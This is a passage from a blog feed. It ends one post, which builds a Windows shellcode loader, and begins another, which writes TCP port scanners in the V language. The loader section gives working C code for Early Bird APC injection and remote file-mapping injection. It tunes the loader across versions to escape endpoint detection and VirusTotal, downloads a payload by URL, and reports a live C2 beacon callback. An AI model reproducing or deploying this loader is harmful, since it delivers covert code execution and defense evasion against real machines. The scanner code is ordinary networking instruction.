</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phProcess	<span style="color:#f92672">=</span> Pi.hProcess;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>phThread	<span style="color:#f92672">=</span> Pi.hThread;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>pdwProcessID <span style="color:#f92672">=</span> Pi.dwProcessId;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// End of Function
</span></span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">==</span> NULL <span style="color:#f92672">||</span> <span style="color:#f92672">*</span>phThread <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once the child process is created, to perform APC injection the following code segment is leveraged. While <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code> and <code>VirtualProtectEx</code> are retained to transfer the shellcode to child process&rsquo;s memory, <code>CreateRemoteThread</code> is now replaced by <code>QueueUserAPC</code> thus providing alternative method for execution.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ScheduleRun</span>(
</span></span><span style="display:flex;"><span>	IN	HANDLE	hProcess,
</span></span><span style="display:flex;"><span>	IN	HANDLE	hThread,
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	PVOID	pAddress <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	DWORD	dwOldProtection <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	SIZE_T	sNumberOfBytesWritten <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">VirtualAllocEx</span>(hProcess, NULL, sBlobSize, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_READWRITE);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualAllocEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">WriteProcessMemory</span>(hProcess, pAddress, pBlob, sBlobSize, <span style="color:#f92672">&amp;</span>sNumberOfBytesWritten) <span style="color:#f92672">||</span> sNumberOfBytesWritten <span style="color:#f92672">!=</span> sBlobSize) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;WriteProcessMemory failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualProtectEx</span>(hProcess, pAddress, sBlobSize, PAGE_EXECUTE_READ, <span style="color:#f92672">&amp;</span>dwOldProtection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualProtectEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">QueueUserAPC</span>((PAPCFUNC)pAddress, hThread, NULL)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;QueueUserAPC failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// End of Function
</span></span></span><span style="display:flex;"><span>_EoF:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>While <code>QueueUserAPC</code> queues the instructions to be executed they are executed only when debugger is removed. Thus the follow appears as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a6e22e">FetchBlob</span>(argv[<span style="color:#ae81ff">1</span>], <span style="color:#f92672">&amp;</span>pBlob, <span style="color:#f92672">&amp;</span>sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CreateSuspendedProcess</span>(argv[<span style="color:#ae81ff">2</span>], <span style="color:#f92672">&amp;</span>hProcess, <span style="color:#f92672">&amp;</span>hThread, <span style="color:#f92672">&amp;</span>dwProcessID);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ScheduleRun</span>(hProcess, hThread, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">DebugActiveProcessStop</span>(dwProcessID);
</span></span></code></pre></div><h3 id="ah-shit-here-we-go-again">Ah shit, here we go again</h3>
<p>Labelling this version as <em>NetUtil3</em> and downloading it on monitored endpoint got me nowhere but back to detection.</p>
<p><img src="./NetUtil3-detection.png" alt="NetUtil3-detection"></p>
<p>But uploading it to VirusTotal showed that the detection score dropped to 13, still one greater than the Adaptix&rsquo;s binary but a siginficant improvemnt in the loader logic nonetheless.</p>
<p><img src="./NetUtil3-virustotal.png" alt="NetUtil3-virustotal"></p>
<h2 id="cartography">Cartography</h2>
<p><code>VirtualAlloc(Ex)</code>, <code>VirtualProtect(Ex)</code> and <code>WriteProcessMemory</code> are highly flagged as an indicator for malicious code and thus I needed alternative for the same. A differnt technique to transfer shellcode is through <strong>Remote File Mapping</strong> injection.</p>
<h3 id="remote-file-mappings-and-injection">Remote File Mappings and Injection</h3>
<p>Remote File Mappings allow to create shared memory regions accessible between different processes. This eliminates the need of <code>VirtualAllocEx</code> to allocate memory in target process. The injection logic can be interepreted as:</p>
<ul>
<li><code>CreateFileMapping</code> allows to create a mapping object i.e. allocate virtual memory backed by a pagefile. As there is no need to load a file, thus I specify <code>INVALID_HANDLE_VALUE</code> for <code>hFile</code> parameter. While I need to provide specify <code>PAGE_EXECUTE_READWRITE</code> for <code>flProtect</code> parameter it dictates this section objects maximum allowable permissions. The map views of the memory page would writable or executable, <em>but separately</em> in the two processes. Thus is does not appear to be a grave issue.</li>
<li><code>MapViewOfFile</code> was used to create a local view of the mapping object and obtain local address for the memory with write access as specified by <code>FILE_MAP_WRITE</code>. Using this address, I wrote the shellcode into the memory.</li>
<li><code>MapViewOfFile2</code> was used to obtain remote address in target process&rsquo;s view of the mapping object. This memory was designated to be executable and thus byte written by local process could be executed by remote process.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CopyBlob</span>(
</span></span><span style="display:flex;"><span>	IN	HANDLE	hProcess,
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize,
</span></span><span style="display:flex;"><span>	OUT	PVOID<span style="color:#f92672">*</span> ppBlobCopyAddress
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE	<span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	HANDLE	hFile	<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	PVOID	pMapLocalAddress <span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>			pMapRemoteAddress <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFileMapping</span>(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sBlobSize, NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateFileMapping failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pMapLocalAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">MapViewOfFile</span>(hFile, FILE_MAP_WRITE, NULL, NULL, sBlobSize);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pMapLocalAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;MapViewOfFile failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">memcpy</span>(pMapLocalAddress, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pMapRemoteAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">MapViewOfFile2</span>(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READ);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pMapRemoteAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;MapViewOfFile2 failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppBlobCopyAddress <span style="color:#f92672">=</span> pMapRemoteAddress;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_EndOfFunction:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hFile)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">CloseHandle</span>(hFile);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The parameter <code>ppBlobCopyAddress</code> contains the executable memory&rsquo;s address in the context of the remote process. I pushed this address through Early Bird APC Injection technique discussed earlier into child process for execution.</p>
<h3 id="success-sort-of">Success? Sort of.</h3>
<p>I renamed this version as <em>NetUtil4.exe</em> and downloaded on monitored endpoint. <strong>It wasn&rsquo;t detected</strong>.</p>
<p><img src="./NetUtil4-download-1.png" alt="NetUtil4-download-1"></p>
<p>But I could not run it because being the idiot that I am, I shipped the debug build and executing <em>NetUtil4.exe</em> complained for missing <code>VCRUNTIME140D.dll</code>. Recompiling the release build with <em>Multi-Threaded</em> configuration instead of DLL depedent <em>Multi-Threaded DLL</em> Runtime Library flag and downloading it on monitored endpoint led to a detection.</p>
<p><img src="./VS-runtime-options.png" alt="VS-runtime-options"></p>
<p><img src="./NetUtil4-release-detection.png" alt="NetUtil4-release-detection"></p>
<p>At this moment, I said to myself - <em>One problem at a time</em> and installed the Microsoft Visual C++ Runtime library onto the endpoint (<em>with a promise to explore the alternatives later</em>).</p>
<p>Re-downloading the <em>Mulit-Threaded DLL</em> build lead to no detection.</p>
<p><img src="./NetUtil4-download-2.png" alt="NetUtil4-download-2"></p>
<p>I executed the loader with URL to payload and a process to spawn and hijack for execution on the monitored endpoint and it spawned <code>calc.exe</code>.</p>
<p><img src="./NetUtil4-spawns-calc.png" alt="NetUtil4-spawns-calc"></p>
<p>Next, I replaced the <code>blob.bin</code> from <code>msfvenom</code> payload to beacon shellcode for Adaptix.</p>
<p><img src="./adaptix-c2-create-agent-and-listener.png" alt="adaptix-c2-create-agent-and-listener"></p>
<p>Passing the loader with URL to beacon shellcode I recieved a callback onto the C2 server from the monitored endpoint. I had to add parameter as <code>InternetOpenUrlW</code> cached the URL for <code>blob.bin</code> with <code>msfvenom</code> calc.exe payload, I re-configured that later as explained in following section.</p>
<p><img src="./NetUtil4-adaptix-beacon-execute.png" alt="NetUtil4-adaptix-beacon-execute"></p>
<p><img src="./adaptix-c2-beacon-callback.png" alt="adaptix-c2-beacon-callback"></p>
<p>The VirusTotal score for this version of loader was 6 i.e. half of the original Adaptix C2 beacon executable and almost 1/4th of the original rudimetory loader.</p>
<p>Furthermore, as per VirusTotal Elastic did detect the loader.</p>
<p><img src="./NetUtil4-virustotal.png" alt="NetUtil4-virustotal"></p>
<p>The <code>PDB</code> path contained the original binary name as in the project. The symbols and IAT table would&rsquo;ve been another give away for the loader. I&rsquo;d look at these indicators and more some other day.</p>
<h2 id="the-cache-issue">The Cache Issue</h2>
<p>While appending parameter allowed to bypass the cached version of <code>blob.bin</code>, a permanent solution would be to include the no-cache specific flags in the <code>InternetOpenUrlW</code>&rsquo;s <code>dwFlags</code> parameter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>	hInternetFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">InternetOpenUrlW</span>(
</span></span><span style="display:flex;"><span>		hInternet,
</span></span><span style="display:flex;"><span>		lpszUrl,
</span></span><span style="display:flex;"><span>		NULL,
</span></span><span style="display:flex;"><span>		NULL,
</span></span><span style="display:flex;"><span>		INTERNET_FLAG_HYPERLINK <span style="color:#f92672">|</span> INTERNET_FLAG_RELOAD <span style="color:#f92672">|</span> INTERNET_FLAG_NO_CACHE_WRITE <span style="color:#f92672">|</span> INTERNET_FLAG_PRAGMA_NOCACHE,
</span></span><span style="display:flex;"><span>		NULL
</span></span><span style="display:flex;"><span>	);
</span></span></code></pre></div>]]></description>
      
    </item>
    
    
    
    <item>
      <title>Black Hat V: TCP Shenanigans</title>
      <link>https://ashtrace.github.io/posts/black_hat_v_tcp/</link>
      <pubDate>Thu, 04 Dec 2025 22:28:48 +0530</pubDate>
      
      <guid>https://ashtrace.github.io/posts/black_hat_v_tcp/</guid>
      <description><![CDATA[<p>The following is the culmination of my first deep dive into V’s vastly undocumented stdlib—pieced together from scattered docs and actual module implementations on GitHub. Bear with me through the re-re-re-I-lost-count-re-invention of <em>the wheel of basic TCP tooling</em> as I learn V’s standard library by building a TCP port scanner, a buffered echo server, a port-forwarder, and a bind-shell wrapper.</p>
<h2 id="understanding-tcp-handshake">Understanding TCP Handshake</h2>
<p>While I sincerely hope that you&rsquo;d be already familiar with the nuances of the TCP handshake, I&rsquo;ll still touch the topic for the sake of it.</p>
<h3 id="successful-handshake">Successful Handshake</h3>
<p>Let&rsquo;s assume the existence of:</p>
<ul>
<li>the earth with its IT Infrastructure</li>
<li>two entities (client and server) ready to talk on TCP</li>
<li>the server has a port open to which the client wants to communicate</li>
</ul>
<p>The handshake:</p>
<ul>
<li>Client says hello marked as &lsquo;SYN&rsquo; packet</li>
<li>Server (port) says thanks for hello + hello, &lsquo;SYN/ACK&rsquo;</li>
<li>Client says thanks for hello &lsquo;ACK&rsquo;.</li>
</ul>
<p>The following image depicts the packets in a successful handshake.</p>
<p><img src="./wireshark-tcp-handshake.png" alt="wireshark-tcp-handshake"></p>
<h3 id="failed-handshake-closed-port">Failed Handshake: Closed port</h3>
<p>Changing assumption</p>
<ul>
<li>the port is closed, server doesn&rsquo;t wanna talk</li>
</ul>
<p>The failed handshake:</p>
<ul>
<li>Client says hello marked as &lsquo;SYN&rsquo; packet</li>
<li>Server (port) says bye, &lsquo;RST&rsquo;</li>
</ul>
<p><img src="./wireshark-closed-port.png" alt="wireshark-closed-port"></p>
<h3 id="failed-handshake-filtered-port">Failed Handshake: Filtered port</h3>
<p>Changing assumption</p>
<ul>
<li>the port is behind a firewall a.k.a <strong>filtered</strong></li>
</ul>
<p>The failed handshake:</p>
<ul>
<li>Client waits (yells in abyss) but no response from the server.</li>
</ul>
<p><img src="./wireshark-filtered-port.png" alt="wireshark-filtered-port"></p>
<h2 id="writing-a-tcp-scanner">Writing a TCP Scanner</h2>
<p>Basis the concepts we discussed above, we can enumerate the state of a port by the kind of the packet returned.</p>
<p>V provides <code>net</code> standard library to work with networks. As per the <a href="https://modules.vlang.io/net.html">documentation</a>:</p>
<blockquote>
<p><em><code>net</code> provides networking functions. It is mostly a wrapper to BSD sockets, so you can listen on a port, connect to remote TCP/UDP services, and communicate with them.</em></p>
</blockquote>
<h3 id="create-a-project">Create a project</h3>
<p>To setup a V project, create a directory with suitable name and run <code>v init</code> from within it.</p>
<p><img src="./new-v-project.png" alt="new-v-project"></p>
<p>After answering the set of questions prompted on terminal, it creates a hello-world project.</p>
<p><img src="new-v-project-2.png" alt="new-v-project-2"></p>
<h3 id="testing-for-port-availablity">Testing for port availablity.</h3>
<p>Following the orginal source of reference (<a href="https://nostarch.com/blackhatgo">Black Hat Go</a>) I utilize the host <strong>scanme.nmap.org</strong> for the following shenanigans.</p>
<p><img src="scanme-nmap-org.png" alt="scanme.nmap.org"></p>
<p>Basis the documentation of <code>net</code> library, there exists <code>dial_tcp</code> function which</p>
<ul>
<li>accepts a single parameter name <code>oaddress</code> of type <code>string</code> that consists of the host and the port separated by a colon <code>:</code>.</li>
<li>returns <code>!&amp;net.TcpConn</code> i.e. either a reference to <strong>TcpConn</strong> structure or error in case of successful or failed connection respectively.</li>
</ul>
<p>In the following code, I use <code>net.dial_tcp</code> to connect to <strong>scanme.nmap.org</strong> at port <strong>80</strong>. The <a href="https://docs.vlang.io/statements-&amp;-expressions.html#if-unwrapping"><code>if</code>-unwrapping</a> verfies for a successfully connection. If an error is returned by <code>net.dial_tcp</code>, the initialization of <code>conn</code> returns <code>false</code> and the condition is validated approriately.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">scanme</span>.<span style="color:#a6e22e">nmap</span>.<span style="color:#a6e22e">org</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {                 <span style="color:#75715e">// use `conn` initializatin to convert the net.dial_tcp function call to boolean condition</span>
</span></span><span style="display:flex;"><span>		println(<span style="color:#e6db74">&#34;Successfully connected to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		println(<span style="color:#e6db74">&#34;Failed to connect to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>You can run the code mentioned above as follows (skipping the <code>-w</code> flag allows the v compilter to complain for unused variable <code>conn</code>).</p>
<p><img src="basic-port-connection-successful.png" alt="basic-port-connection-successful"></p>
<h3 id="performing-non-concurrent-scanning">Performing Non-concurrent Scanning</h3>
<p>Utilizing a loop would help to rotate the <code>port</code> value in the connection string parameter to <code>net.dial_tcp</code>. Also, <code>.close()</code> can be used on a mutable instance of <code>net.TcpConn</code> to close the connection.</p>
<p>A sample code to scan the first hundred ports may appear as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">scanme</span>.<span style="color:#a6e22e">nmap</span>.<span style="color:#a6e22e">org</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">port</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..1024</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>			println(<span style="color:#e6db74">&#34;Successfully connected to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>				println(<span style="color:#e6db74">&#34;Failed to close connection to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			println(<span style="color:#e6db74">&#34;Failed to connect to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="basic-port-scan.png" alt="basic-port-scan"></p>
<h3 id="performing-concurrent-scanning">Performing Concurrent Scanning</h3>
<p>I will use goroutines provided by V runtime to execute concurrent lightweight threads.</p>
<p>Firstly, I create a <a href="https://docs.vlang.io/functions-2.html#closures">closure</a> within <code>main()</code> to use the <code>host</code> variable and pass it a <code>port</code> parameter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">host</span>] (<span style="color:#a6e22e">port</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>		println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Successfully</span> <span style="color:#a6e22e">connected</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> { println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Next, I use this function with goroutines to scan first 100 ports</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">scanme</span>.<span style="color:#a6e22e">nmap</span>.<span style="color:#a6e22e">org</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">p</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..100</span> {
